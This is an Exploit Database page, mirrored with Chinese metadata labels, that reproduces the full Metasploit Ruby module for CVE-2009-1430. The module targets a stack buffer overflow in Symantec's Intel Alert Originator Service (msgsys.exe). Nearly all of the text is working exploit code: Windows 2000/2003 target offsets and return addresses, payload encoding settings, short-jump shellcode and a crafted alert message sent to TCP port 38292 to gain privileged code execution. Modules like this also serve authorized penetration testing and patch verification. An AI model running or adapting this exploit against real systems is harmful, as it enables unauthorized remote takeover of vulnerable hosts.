Symantec Alert Management System Intel Alert Originator Service – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 51 阅读

• 作者： Metasploit
  日期： 2010-05-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16826/

• ##
  # $Id: symantec_iao.rb 9298 2010-05-13 16:53:50Z swtornio $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe.
  				When an attacker sends a specially crafted alert, arbitrary code may be executed.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9298 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-1430' ],
  					[ 'OSVDB', '54159'],
  					[ 'BID', '34674' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2003', { 'Offset' => 1061, 'Ret' => 0x00401130 } ],
  					[ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Apr 28 2009'))
  
  		register_options( [ Opt::RPORT(38292) ], self.class )
  	end
  
  	def exploit
  
  		connect
  
  		filler = rand_text_alpha_upper(2048)
  
  		sploit =payload.encoded
  		sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
  		sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
  		sploit << [target.ret].pack('V')
  		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string
  		sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00"
  
  		msg ="\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10"
  		msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V')
  		msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8"
  		msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND"
  		msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
  		msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V')
  		msg << rand_text_alpha_upper(7) + " Alert" + sploit
  		msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V')
  		msg << rand_text_alpha_upper(rand(10) + 36)
  		msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D"
  		msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00"
  		msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs"
  		msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString"
  		msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName"
  		msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost"
  		msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00"
  
  		print_status("Trying target #{target.name}...")
  		sock.put(msg)
  
  		handler
  		disconnect
  	end
  
  end